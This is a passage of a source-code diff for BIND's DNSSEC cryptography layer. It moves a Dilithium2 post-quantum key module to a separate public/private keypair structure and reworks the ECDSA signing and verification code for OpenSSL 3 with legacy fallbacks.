@@ -379,21 +354,19 @@ openssldilithium2_tofile(const dst_key_t *key, const char *directory) {
 
 	i = 0;
 
-	if (openssldilithium2_isprivate(key)) {
+	if (dst__openssl_keypair_isprivate(key)) {
 		privbuf = isc_mem_get(key->mctx, privlen);
-		if (EVP_PKEY_get_raw_private_key(key->keydata.pkey, privbuf,
-						 &privlen) != 1) {
+		if (EVP_PKEY_get_raw_private_key(key->keydata.pkeypair.priv, privbuf,
+						 &privlen) != 1)
 			DST_RET(dst__openssl_toresult(ISC_R_FAILURE));
-		}
 		priv.elements[i].tag = TAG_DILITHIUM2_PRIVATEKEY;
 		priv.elements[i].length = privlen;
 		priv.elements[i].data = privbuf;
 		i++;
 		pubbuf = isc_mem_get(key->mctx, publen);
-		if (EVP_PKEY_get_raw_public_key(key->keydata.pkey, pubbuf,
-						 &publen) != 1) {
+		if (EVP_PKEY_get_raw_public_key(key->keydata.pkeypair.pub, pubbuf,
+						 &publen) != 1)
 			DST_RET(dst__openssl_toresult(ISC_R_FAILURE));
-		}
 		priv.elements[i].tag = TAG_DILITHIUM2_PUBLICKEY;
 		priv.elements[i].length = publen;
 		priv.elements[i].data = pubbuf;
@@ -401,6 +374,7 @@ openssldilithium2_tofile(const dst_key_t *key, const char *directory) {
 	}
 	priv.nelements = i;
 	ret = dst__privstruct_writefile(key, &priv, directory);
+
 err:
 	if (privbuf != NULL) {
 		isc_mem_put(key->mctx, privbuf, privlen);
@@ -411,6 +385,23 @@ openssldilithium2_tofile(const dst_key_t *key, const char *directory) {
 	return (ret);
 }
 
+typedef struct
+{
+  /* OpenSSL NID */
+  int nid;
+  /* OQS signature context */
+  OQS_SIG *s;
+  /* OQS public key */
+  uint8_t *pubkey;
+  /* OQS private key */
+  uint8_t *privkey;
+  /* Classical key pair for hybrid schemes; either a private or public key depending on context */
+  EVP_PKEY *classical_pkey;
+  /* Security bits for the scheme */
+  int security_bits;
+  /* digest engine for CMS: */
+  EVP_MD_CTX * digest;
+} OQS_KEY;
 
 static isc_result_t
 openssldilithium2_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
@@ -421,10 +412,13 @@ openssldilithium2_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 	EVP_PKEY *pkey = NULL, *pubpkey = NULL;
 	size_t len;
 	isc_mem_t *mctx = key->mctx;
+	const dilithium2_alginfo_t *alginfo = openssldilithium2_alg_info(key->key_alg);
+	
 	UNUSED(engine);
 	UNUSED(label);
 	UNUSED(pubpkey);
-	REQUIRE(key->key_alg == DST_ALG_DILITHIUM2);
+	
+	REQUIRE(alginfo != NULL);
 
 	/* read private key file */
 	ret = dst__privstruct_parse(key, DST_ALG_DILITHIUM2, lexer, mctx, &priv);
@@ -439,20 +433,13 @@ openssldilithium2_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 		if (pub == NULL) {
 			DST_RET(DST_R_INVALIDPRIVATEKEY);
 		}
-		key->keydata.pkey = pub->keydata.pkey;
-		pub->keydata.pkey = NULL;
-		dst__privstruct_free(&priv, mctx);
-		isc_safe_memwipe(&priv, sizeof(priv));
-		return (ISC_R_SUCCESS);
+		key->keydata.pkeypair.priv = pub->keydata.pkeypair.priv;
+		key->keydata.pkeypair.pub = pub->keydata.pkeypair.pub;
+		pub->keydata.pkeypair.priv = NULL;
+		pub->keydata.pkeypair.pub = NULL;
+		DST_RET(ISC_R_SUCCESS);
 	}
 
-	if (pub != NULL) {
-		// This is set so that sanity checks can be made,
-		// but currently don't have those checks implemented
-		pubpkey = pub->keydata.pkey;
-	}
-	// Currently do not support HSMs, but leaving the parsing code
-	// in for future use.
 	for (i = 0; i < priv.nelements; i++) {
 		switch (priv.elements[i].tag) {
 		case TAG_DILITHIUM2_ENGINE:
@@ -477,25 +464,23 @@ openssldilithium2_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 	if (pubkey_index < 0) {
 		DST_RET(DST_R_INVALIDPUBLICKEY);
 	}
-
 	len = priv.elements[privkey_index].length;
-
-	if (len < DILITHIUM2_PUBLICKEY_SIZE) {
-		return (DST_R_INVALIDPRIVATEKEY);
-	}
-	pkey = EVP_PKEY_new_raw_private_key(EVP_PKEY_DILITHIUM2, NULL, priv.elements[privkey_index].data, len);
+	REQUIRE(len == alginfo->priv_key_size);
+	pkey = EVP_PKEY_new_raw_private_key(alginfo->pkey_type, NULL, priv.elements[privkey_index].data, len);
 	if (pkey == NULL) {
 		return (dst__openssl_toresult(ret));
 	}
 
 	len = priv.elements[pubkey_index].length;
+	REQUIRE(len == alginfo->key_size);
 	OQS_KEY *oqs_key = EVP_PKEY_get0(pkey);
 	oqs_key->pubkey = OPENSSL_secure_malloc(len);
 	if (oqs_key->pubkey == NULL) {
 		return (dst__openssl_toresult(ISC_R_NOSPACE));
 	}
 	memcpy(oqs_key->pubkey, priv.elements[pubkey_index].data, len);
-	key->keydata.pkey = pkey;
+	key->keydata.pkeypair.priv = pkey;
+	key->keydata.pkeypair.pub = pkey;
 	key->key_size = priv.elements[pubkey_index].length;
 	ret = ISC_R_SUCCESS;
 
@@ -507,26 +492,26 @@ openssldilithium2_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 
 static dst_func_t openssldilithium2_functions = {
 	openssldilithium2_createctx,
-	NULL, /*%< createctx2 */
+	NULL, 				/*%< createctx2 */
 	openssldilithium2_destroyctx,
 	openssldilithium2_adddata,
 	openssldilithium2_sign,
 	openssldilithium2_verify,
-	NULL, /*%< verify2 */
-	NULL, /*%< computesecret */
-	openssldilithium2_compare,
-	NULL, /*%< paramcompare */
+	NULL, 				/*%< verify2 */
+	NULL, 				/*%< computesecret */
+	dst__openssl_keypair_compare,
+	NULL, 				/*%< paramcompare */
 	openssldilithium2_generate,
-	openssldilithium2_isprivate,
-	openssldilithium2_destroy, 
-	openssldilithium2_todns,   // called by dst_key_todns converts a dst_key to a buffer
-	openssldilithium2_fromdns, // called by from buffer and constructs a key from dns
-	openssldilithium2_tofile,  // All this does is write the private key, writing public keys are handled elsewhere
+	dst__openssl_keypair_isprivate,
+	dst__openssl_keypair_destroy, 
+	openssldilithium2_todns,
+	openssldilithium2_fromdns,
+	openssldilithium2_tofile,
 	openssldilithium2_parse,
-	NULL,			    /*%< cleanup */
-	NULL, 			    /*%< fromlabel */
-	NULL,			    /*%< dump */
-	NULL,			    /*%< restore */
+	NULL,				/*%< cleanup */
+	NULL, 				/*%< fromlabel */
+	NULL,				/*%< dump */
+	NULL,				/*%< restore */
 };
 
 isc_result_t
diff --git a/lib/dns/opensslecdsa_link.c b/lib/dns/opensslecdsa_link.c
index 3d74630ff9..b54e43ade3 100644
--- a/lib/dns/opensslecdsa_link.c
+++ b/lib/dns/opensslecdsa_link.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,23 +18,26 @@
 #include <openssl/bn.h>
 #include <openssl/ecdsa.h>
 #include <openssl/err.h>
+#include <openssl/evp.h>
 #include <openssl/objects.h>
-#if !defined(OPENSSL_NO_ENGINE)
-#include <openssl/engine.h>
+#include <openssl/opensslv.h>
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L
+#include <openssl/core_names.h>
+#include <openssl/param_build.h>
 #endif
 
 #include <isc/mem.h>
+#include <isc/result.h>
 #include <isc/safe.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/keyvalues.h>
 
-#include <dst/result.h>
-
 #include "dst_internal.h"
 #include "dst_openssl.h"
 #include "dst_parse.h"
+#include "openssl_shim.h"
 
 #ifndef NID_X9_62_prime256v1
 #error "P-256 group is not known (NID_X9_62_prime256v1)"
@@ -41,51 +46,548 @@
 #error "P-384 group is not known (NID_secp384r1)"
 #endif /* ifndef NID_secp384r1 */
 
+#define MAX_PUBKEY_SIZE DNS_KEY_ECDSA384SIZE
+
+#define MAX_PRIVKEY_SIZE (MAX_PUBKEY_SIZE / 2)
+
 #define DST_RET(a)        \
 	{                 \
 		ret = a;  \
 		goto err; \
 	}
 
-#if !HAVE_ECDSA_SIG_GET0
-/* From OpenSSL 1.1 */
-static void
-ECDSA_SIG_get0(const ECDSA_SIG *sig, const BIGNUM **pr, const BIGNUM **ps) {
-	if (pr != NULL) {
-		*pr = sig->r;
+static bool
+opensslecdsa_valid_key_alg(unsigned int key_alg) {
+	switch (key_alg) {
+	case DST_ALG_ECDSA256:
+	case DST_ALG_ECDSA384:
+		return (true);
+	default:
+		return (false);
+	}
+}
+
+static int
+opensslecdsa_key_alg_to_group_nid(unsigned int key_alg) {
+	switch (key_alg) {
+	case DST_ALG_ECDSA256:
+		return (NID_X9_62_prime256v1);
+	case DST_ALG_ECDSA384:
+		return (NID_secp384r1);
+	default:
+		UNREACHABLE();
 	}
-	if (ps != NULL) {
-		*ps = sig->s;
+}
+
+static size_t
+opensslecdsa_key_alg_to_publickey_size(unsigned int key_alg) {
+	switch (key_alg) {
+	case DST_ALG_ECDSA256:
+		return (DNS_KEY_ECDSA256SIZE);
+	case DST_ALG_ECDSA384:
+		return (DNS_KEY_ECDSA384SIZE);
+	default:
+		UNREACHABLE();
+	}
+}
+
+/*
+ * OpenSSL requires us to set the public key portion, but since our private key
+ * file format does not contain it directly, we generate it as needed.
+ */
+static EC_POINT *
+opensslecdsa_generate_public_key(const EC_GROUP *group, const BIGNUM *privkey) {
+	EC_POINT *pubkey = EC_POINT_new(group);
+	if (pubkey == NULL) {
+		return (NULL);
+	}
+	if (EC_POINT_mul(group, pubkey, privkey, NULL, NULL, NULL) != 1) {
+		EC_POINT_free(pubkey);
+		return (NULL);
 	}
+	return (pubkey);
 }
 
 static int
-ECDSA_SIG_set0(ECDSA_SIG *sig, BIGNUM *r, BIGNUM *s) {
-	if (r == NULL || s == NULL) {
-		return (0);
+BN_bn2bin_fixed(const BIGNUM *bn, unsigned char *buf, int size) {
+	int bytes = size - BN_num_bytes(bn);
+
+	INSIST(bytes >= 0);
+
+	while (bytes-- > 0) {
+		*buf++ = 0;
+	}
+	BN_bn2bin(bn, buf);
+	return (size);
+}
+
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L
+
+static const char *
+opensslecdsa_key_alg_to_group_name(unsigned int key_alg) {
+	switch (key_alg) {
+	case DST_ALG_ECDSA256:
+		return ("prime256v1");
+	case DST_ALG_ECDSA384:
+		return ("secp384r1");
+	default:
+		UNREACHABLE();
+	}
+}
+
+static isc_result_t
+opensslecdsa_create_pkey_params(unsigned int key_alg, bool private,
+				const unsigned char *key, size_t key_len,
+				EVP_PKEY **pkey) {
+	isc_result_t ret;
+	int status;
+	int group_nid = opensslecdsa_key_alg_to_group_nid(key_alg);
+	const char *groupname = opensslecdsa_key_alg_to_group_name(key_alg);
+	OSSL_PARAM_BLD *bld = NULL;
+	OSSL_PARAM *params = NULL;
+	EVP_PKEY_CTX *ctx = NULL;
+	EC_POINT *pubkey = NULL;
+	EC_GROUP *group = NULL;
+	BIGNUM *priv = NULL;
+	unsigned char buf[MAX_PUBKEY_SIZE + 1];
+
+	bld = OSSL_PARAM_BLD_new();
+	if (bld == NULL) {
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_new",
+					       DST_R_OPENSSLFAILURE));
+	}
+	status = OSSL_PARAM_BLD_push_utf8_string(
+		bld, OSSL_PKEY_PARAM_GROUP_NAME, groupname, 0);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_push_"
+					       "utf8_string",
+					       DST_R_OPENSSLFAILURE));
+	}
+
+	if (private) {
+		group = EC_GROUP_new_by_curve_name(group_nid);
+		if (group == NULL) {
+			DST_RET(dst__openssl_toresult2("EC_GROUP_new_by_"
+						       "curve_name",
+						       DST_R_OPENSSLFAILURE));
+		}
+
+		priv = BN_bin2bn(key, key_len, NULL);
+		if (priv == NULL) {
+			DST_RET(dst__openssl_toresult2("BN_bin2bn",
+						       DST_R_OPENSSLFAILURE));
+		}
+
+		status = OSSL_PARAM_BLD_push_BN(bld, OSSL_PKEY_PARAM_PRIV_KEY,
+						priv);
+		if (status != 1) {
+			DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_push_BN",
+						       DST_R_OPENSSLFAILURE));
+		}
+
+		pubkey = opensslecdsa_generate_public_key(group, priv);
+		if (pubkey == NULL) {
+			DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+		}
+
+		key = buf;
+		key_len = EC_POINT_point2oct(group, pubkey,
+					     POINT_CONVERSION_UNCOMPRESSED, buf,
+					     sizeof(buf), NULL);
+		if (key_len == 0) {
+			DST_RET(dst__openssl_toresult2("EC_POINT_point2oct",
+						       DST_R_OPENSSLFAILURE));
+		}
+	} else {
+		INSIST(key_len + 1 <= sizeof(buf));
+		buf[0] = POINT_CONVERSION_UNCOMPRESSED;
+		memmove(buf + 1, key, key_len);
+		key = buf;
+		key_len = key_len + 1;
+	}
+
+	status = OSSL_PARAM_BLD_push_octet_string(bld, OSSL_PKEY_PARAM_PUB_KEY,
+						  key, key_len);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_push_"
+					       "octet_string",
+					       DST_R_OPENSSLFAILURE));
 	}
 
-	BN_clear_free(sig->r);
-	BN_clear_free(sig->s);
-	sig->r = r;
-	sig->s = s;
+	params = OSSL_PARAM_BLD_to_param(bld);
+	if (params == NULL) {
+		DST_RET(dst__openssl_toresult2("OSSL_PARAM_BLD_to_param",
+					       DST_R_OPENSSLFAILURE));
+	}
+	ctx = EVP_PKEY_CTX_new_from_name(NULL, "EC", NULL);
+	if (ctx == NULL) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_CTX_new_from_name",
+					       DST_R_OPENSSLFAILURE));
+	}
+	status = EVP_PKEY_fromdata_init(ctx);
+	if (status != 1) {
+		/* This will fail if the default provider is an engine.
+		 * Return ISC_R_FAILURE to retry using the legacy API. */
+		DST_RET(dst__openssl_toresult(ISC_R_FAILURE));
+	}
+	status = EVP_PKEY_fromdata(
+		ctx, pkey, private ? EVP_PKEY_KEYPAIR : EVP_PKEY_PUBLIC_KEY,
+		params);
+	if (status != 1 || *pkey == NULL) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_fromdata",
+					       DST_R_OPENSSLFAILURE));
+	}
 
-	return (1);
+	ret = ISC_R_SUCCESS;
+
+err:
+	OSSL_PARAM_free(params);
+	OSSL_PARAM_BLD_free(bld);
+	EVP_PKEY_CTX_free(ctx);
+	BN_clear_free(priv);
+	EC_POINT_free(pubkey);
+	EC_GROUP_free(group);
+
+	return (ret);
+}
+
+static bool
+opensslecdsa_extract_public_key_params(const dst_key_t *key, unsigned char *dst,
+				       size_t dstlen) {
+	EVP_PKEY *pkey = key->keydata.pkeypair.pub;
+	BIGNUM *x = NULL;
+	BIGNUM *y = NULL;
+	bool ret = false;
+
+	if (EVP_PKEY_get_bn_param(pkey, OSSL_PKEY_PARAM_EC_PUB_X, &x) == 1 &&
+	    EVP_PKEY_get_bn_param(pkey, OSSL_PKEY_PARAM_EC_PUB_Y, &y) == 1)
+	{
+		BN_bn2bin_fixed(x, &dst[0], dstlen / 2);
+		BN_bn2bin_fixed(y, &dst[dstlen / 2], dstlen / 2);
+		ret = true;
+	}
+	BN_clear_free(x);
+	BN_clear_free(y);
+	return (ret);
 }
-#endif /* !HAVE_ECDSA_SIG_GET0 */
+
+#endif
+
+#if OPENSSL_VERSION_NUMBER < 0x30000000L || OPENSSL_API_LEVEL < 30000
+
+static isc_result_t
+opensslecdsa_create_pkey_legacy(unsigned int key_alg, bool private,
+				const unsigned char *key, size_t key_len,
+				EVP_PKEY **retkey) {
+	isc_result_t ret = ISC_R_SUCCESS;
+	EC_KEY *eckey = NULL;
+	EVP_PKEY *pkey = NULL;
+	BIGNUM *privkey = NULL;
+	EC_POINT *pubkey = NULL;
+	unsigned char buf[MAX_PUBKEY_SIZE + 1];
+	int group_nid = opensslecdsa_key_alg_to_group_nid(key_alg);
+
+	eckey = EC_KEY_new_by_curve_name(group_nid);
+	if (eckey == NULL) {
+		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+	}
+
+	if (private) {
+		const EC_GROUP *group = EC_KEY_get0_group(eckey);
+
+		privkey = BN_bin2bn(key, key_len, NULL);
+		if (privkey == NULL) {
+			DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+		}
+		if (!EC_KEY_set_private_key(eckey, privkey)) {
+			DST_RET(dst__openssl_toresult(DST_R_INVALIDPRIVATEKEY));
+		}
+
+		pubkey = opensslecdsa_generate_public_key(group, privkey);
+		if (pubkey == NULL) {
+			DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+		}
+		if (EC_KEY_set_public_key(eckey, pubkey) != 1) {
+			DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+		}
+	} else {
+		const unsigned char *cp = buf;
+		INSIST(key_len + 1 <= sizeof(buf));
+		buf[0] = POINT_CONVERSION_UNCOMPRESSED;
+		memmove(buf + 1, key, key_len);
+		if (o2i_ECPublicKey(&eckey, &cp, key_len + 1) == NULL) {
+			DST_RET(dst__openssl_toresult(DST_R_INVALIDPUBLICKEY));
+		}
+		if (EC_KEY_check_key(eckey) != 1) {
+			DST_RET(dst__openssl_toresult(DST_R_INVALIDPUBLICKEY));
+		}
+	}
+
+	pkey = EVP_PKEY_new();
+	if (pkey == NULL) {
+		DST_RET(dst__openssl_toresult(ISC_R_NOMEMORY));
+	}
+	if (!EVP_PKEY_set1_EC_KEY(pkey, eckey)) {
+		DST_RET(dst__openssl_toresult(ISC_R_FAILURE));
+	}
+
+	*retkey = pkey;
+	pkey = NULL;
+
+err:
+	BN_clear_free(privkey);
+	EC_POINT_free(pubkey);
+	EC_KEY_free(eckey);
+	EVP_PKEY_free(pkey);
+	return (ret);
+}
+
+static bool
+opensslecdsa_extract_public_key_legacy(const dst_key_t *key, unsigned char *dst,
+				       size_t dstlen) {
+	EVP_PKEY *pkey = key->keydata.pkeypair.pub;
+	const EC_KEY *eckey = EVP_PKEY_get0_EC_KEY(pkey);
+	const EC_GROUP *group = (eckey == NULL) ? NULL
+						: EC_KEY_get0_group(eckey);
+	const EC_POINT *pub = (eckey == NULL) ? NULL
+					      : EC_KEY_get0_public_key(eckey);
+	unsigned char buf[MAX_PUBKEY_SIZE + 1];
+	size_t len;
+
+	if (group == NULL || pub == NULL) {
+		return (false);
+	}
+
+	len = EC_POINT_point2oct(group, pub, POINT_CONVERSION_UNCOMPRESSED, buf,
+				 sizeof(buf), NULL);
+	if (len == dstlen + 1) {
+		memmove(dst, buf + 1, dstlen);
+		return (true);
+	}
+	return (false);
+}
+
+#endif
+
+static bool
+opensslecdsa_extract_public_key(const dst_key_t *key, unsigned char *dst,
+				size_t dstlen) {
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L
+	if (opensslecdsa_extract_public_key_params(key, dst, dstlen)) {
+		return (true);
+	}
+#endif
+#if OPENSSL_VERSION_NUMBER < 0x30000000L || OPENSSL_API_LEVEL < 30000
+	if (opensslecdsa_extract_public_key_legacy(key, dst, dstlen)) {
+		return (true);
+	}
+#endif
+	return (false);
+}
+
+static isc_result_t
+opensslecdsa_create_pkey(unsigned int key_alg, bool private,
+			 const unsigned char *key, size_t key_len,
+			 EVP_PKEY **retkey) {
+	isc_result_t ret;
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L
+	ret = opensslecdsa_create_pkey_params(key_alg, private, key, key_len,
+					      retkey);
+	if (ret != ISC_R_FAILURE) {
+		return (ret);
+	}
+#endif
+#if OPENSSL_VERSION_NUMBER < 0x30000000L || OPENSSL_API_LEVEL < 30000
+	ret = opensslecdsa_create_pkey_legacy(key_alg, private, key, key_len,
+					      retkey);
+	if (ret == ISC_R_SUCCESS) {
+		return (ret);
+	}
+#endif
+	return (DST_R_OPENSSLFAILURE);
+}
+
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L
+
+static isc_result_t
+opensslecdsa_generate_pkey(unsigned int key_alg, EVP_PKEY **retkey) {
+	isc_result_t ret;
+	EVP_PKEY_CTX *ctx = NULL;
+	EVP_PKEY *params_pkey = NULL;
+	int group_nid = opensslecdsa_key_alg_to_group_nid(key_alg);
+	int status;
+
+	/* Generate the key's parameters. */
+	ctx = EVP_PKEY_CTX_new_from_name(NULL, "EC", NULL);
+	if (ctx == NULL) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_CTX_new_from_name",
+					       DST_R_OPENSSLFAILURE));
+	}
+	status = EVP_PKEY_paramgen_init(ctx);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_paramgen_init",
+					       DST_R_OPENSSLFAILURE));
+	}
+	status = EVP_PKEY_CTX_set_ec_paramgen_curve_nid(ctx, group_nid);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_CTX_set_ec_paramgen_"
+					       "curve_nid",
+					       DST_R_OPENSSLFAILURE));
+	}
+	status = EVP_PKEY_paramgen(ctx, &params_pkey);
+	if (status != 1 || params_pkey == NULL) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_paramgen",
+					       DST_R_OPENSSLFAILURE));
+	}
+	EVP_PKEY_CTX_free(ctx);
+
+	/* Generate the key. */
+	ctx = EVP_PKEY_CTX_new(params_pkey, NULL);
+	if (ctx == NULL) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_CTX_new",
+					       DST_R_OPENSSLFAILURE));
+	}
+	status = EVP_PKEY_keygen_init(ctx);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_keygen_init",
+					       DST_R_OPENSSLFAILURE));
+	}
+
+	status = EVP_PKEY_keygen(ctx, retkey);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_keygen",
+					       DST_R_OPENSSLFAILURE));
+	}
+	ret = ISC_R_SUCCESS;
+
+err:
+	EVP_PKEY_free(params_pkey);
+	EVP_PKEY_CTX_free(ctx);
+	return (ret);
+}
+
+static isc_result_t
+opensslecdsa_validate_pkey_group(unsigned int key_alg, EVP_PKEY *pkey) {
+	const char *groupname = opensslecdsa_key_alg_to_group_name(key_alg);
+	char gname[64];
+
+	if (EVP_PKEY_get_group_name(pkey, gname, sizeof(gname), NULL) != 1) {
+		return (DST_R_INVALIDPRIVATEKEY);
+	}
+	if (strcmp(gname, groupname) != 0) {
+		return (DST_R_INVALIDPRIVATEKEY);
+	}
+	return (ISC_R_SUCCESS);
+}
+
+static bool
+opensslecdsa_extract_private_key(const dst_key_t *key, unsigned char *buf,
+				 size_t buflen) {
+	EVP_PKEY *pkey = key->keydata.pkeypair.priv;
+	BIGNUM *priv = NULL;
+
+	if (EVP_PKEY_get_bn_param(pkey, OSSL_PKEY_PARAM_PRIV_KEY, &priv) != 1) {
+		return (false);
+	}
+
+	BN_bn2bin_fixed(priv, buf, buflen);
+	BN_clear_free(priv);
+	return (true);
+}
+
+#else
+
+static isc_result_t
+opensslecdsa_generate_pkey(unsigned int key_alg, EVP_PKEY **retkey) {
+	isc_result_t ret;
+	EC_KEY *eckey = NULL;
+	EVP_PKEY *pkey = NULL;
+	int group_nid = opensslecdsa_key_alg_to_group_nid(key_alg);
+
+	eckey = EC_KEY_new_by_curve_name(group_nid);
+	if (eckey == NULL) {
+		DST_RET(dst__openssl_toresult2("EC_KEY_new_by_curve_name",
+					       DST_R_OPENSSLFAILURE));
+	}
+
+	if (EC_KEY_generate_key(eckey) != 1) {
+		DST_RET(dst__openssl_toresult2("EC_KEY_generate_key",
+					       DST_R_OPENSSLFAILURE));
+	}
+
+	pkey = EVP_PKEY_new();
+	if (pkey == NULL) {
+		DST_RET(dst__openssl_toresult(ISC_R_NOMEMORY));
+	}
+	if (EVP_PKEY_set1_EC_KEY(pkey, eckey) != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_set1_EC_KEY",
+					       DST_R_OPENSSLFAILURE));
+	}
+	*retkey = pkey;
+	pkey = NULL;
+	ret = ISC_R_SUCCESS;
+
+err:
+	EC_KEY_free(eckey);
+	EVP_PKEY_free(pkey);
+	return (ret);
+}
+
+static isc_result_t
+opensslecdsa_validate_pkey_group(unsigned int key_alg, EVP_PKEY *pkey) {
+	const EC_KEY *eckey = EVP_PKEY_get0_EC_KEY(pkey);
+	int group_nid;
+
+	if (eckey == NULL) {
+		return (dst__openssl_toresult(DST_R_INVALIDPRIVATEKEY));
+	}
+
+	group_nid = opensslecdsa_key_alg_to_group_nid(key_alg);
+
+	if (EC_GROUP_get_curve_name(EC_KEY_get0_group(eckey)) != group_nid) {
+		return (DST_R_INVALIDPRIVATEKEY);
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+static bool
+opensslecdsa_extract_private_key(const dst_key_t *key, unsigned char *buf,
+				 size_t buflen) {
+	const EC_KEY *eckey = NULL;
+	const BIGNUM *privkey = NULL;
+
+	eckey = EVP_PKEY_get0_EC_KEY(key->keydata.pkeypair.priv);
+	if (eckey == NULL) {
+		ERR_clear_error();
+		return (false);
+	}
+
+	privkey = EC_KEY_get0_private_key(eckey);
+	if (privkey == NULL) {
+		ERR_clear_error();
+		return (false);
+	}
+
+	BN_bn2bin_fixed(privkey, buf, buflen);
+	return (true);
+}
+
+#endif /* OPENSSL_VERSION_NUMBER >= 0x30000000L */
 
 static isc_result_t
 opensslecdsa_createctx(dst_key_t *key, dst_context_t *dctx) {
+	isc_result_t ret = ISC_R_SUCCESS;
 	EVP_MD_CTX *evp_md_ctx;
 	const EVP_MD *type = NULL;
 
 	UNUSED(key);
-	REQUIRE(dctx->key->key_alg == DST_ALG_ECDSA256 ||
-		dctx->key->key_alg == DST_ALG_ECDSA384);
+	REQUIRE(opensslecdsa_valid_key_alg(dctx->key->key_alg));
+	REQUIRE(dctx->use == DO_SIGN || dctx->use == DO_VERIFY);
 
 	evp_md_ctx = EVP_MD_CTX_create();
 	if (evp_md_ctx == NULL) {
-		return (ISC_R_NOMEMORY);
+		DST_RET(dst__openssl_toresult(ISC_R_NOMEMORY));
 	}
 	if (dctx->key->key_alg == DST_ALG_ECDSA256) {
 		type = EVP_sha256();
@@ -93,23 +595,38 @@ opensslecdsa_createctx(dst_key_t *key, dst_context_t *dctx) {
 		type = EVP_sha384();
 	}
 
-	if (!EVP_DigestInit_ex(evp_md_ctx, type, NULL)) {
-		EVP_MD_CTX_destroy(evp_md_ctx);
-		return (dst__openssl_toresult3(
-			dctx->category, "EVP_DigestInit_ex", ISC_R_FAILURE));
+	if (dctx->use == DO_SIGN) {
+		if (EVP_DigestSignInit(evp_md_ctx, NULL, type, NULL,
+				       dctx->key->keydata.pkeypair.priv) != 1)
+		{
+			EVP_MD_CTX_destroy(evp_md_ctx);
+			DST_RET(dst__openssl_toresult3(dctx->category,
+						       "EVP_DigestSignInit",
+						       ISC_R_FAILURE));
+		}
+	} else {
+		if (EVP_DigestVerifyInit(evp_md_ctx, NULL, type, NULL,
+					 dctx->key->keydata.pkeypair.pub) != 1)
+		{
+			EVP_MD_CTX_destroy(evp_md_ctx);
+			DST_RET(dst__openssl_toresult3(dctx->category,
+						       "EVP_DigestVerifyInit",
+						       ISC_R_FAILURE));
+		}
 	}
 
 	dctx->ctxdata.evp_md_ctx = evp_md_ctx;
 
-	return (ISC_R_SUCCESS);
+err:
+	return (ret);
 }
 
 static void
 opensslecdsa_destroyctx(dst_context_t *dctx) {
 	EVP_MD_CTX *evp_md_ctx = dctx->ctxdata.evp_md_ctx;
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_ECDSA256 ||
-		dctx->key->key_alg == DST_ALG_ECDSA384);
+	REQUIRE(opensslecdsa_valid_key_alg(dctx->key->key_alg));
+	REQUIRE(dctx->use == DO_SIGN || dctx->use == DO_VERIFY);
 
 	if (evp_md_ctx != NULL) {
 		EVP_MD_CTX_destroy(evp_md_ctx);
@@ -119,28 +636,32 @@ opensslecdsa_destroyctx(dst_context_t *dctx) {
 
 static isc_result_t
 opensslecdsa_adddata(dst_context_t *dctx, const isc_region_t *data) {
+	isc_result_t ret = ISC_R_SUCCESS;
 	EVP_MD_CTX *evp_md_ctx = dctx->ctxdata.evp_md_ctx;
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_ECDSA256 ||
-		dctx->key->key_alg == DST_ALG_ECDSA384);
+	REQUIRE(opensslecdsa_valid_key_alg(dctx->key->key_alg));
+	REQUIRE(dctx->use == DO_SIGN || dctx->use == DO_VERIFY);
 
-	if (!EVP_DigestUpdate(evp_md_ctx, data->base, data->length)) {
-		return (dst__openssl_toresult3(
-			dctx->category, "EVP_DigestUpdate", ISC_R_FAILURE));
+	if (dctx->use == DO_SIGN) {
+		if (EVP_DigestSignUpdate(evp_md_ctx, data->base,
+					 data->length) != 1)
+		{
+			DST_RET(dst__openssl_toresult3(dctx->category,
+						       "EVP_DigestSignUpdate",
+						       ISC_R_FAILURE));
+		}
+	} else {
+		if (EVP_DigestVerifyUpdate(evp_md_ctx, data->base,
+					   data->length) != 1)
+		{
+			DST_RET(dst__openssl_toresult3(dctx->category,
+						       "EVP_DigestVerifyUpdate",
+						       ISC_R_FAILURE));
+		}
 	}
 
-	return (ISC_R_SUCCESS);
-}
-
-static int
-BN_bn2bin_fixed(const BIGNUM *bn, unsigned char *buf, int size) {
-	int bytes = size - BN_num_bytes(bn);
-
-	while (bytes-- > 0) {
-		*buf++ = 0;
-	}
-	BN_bn2bin(bn, buf);
-	return (size);
+err:
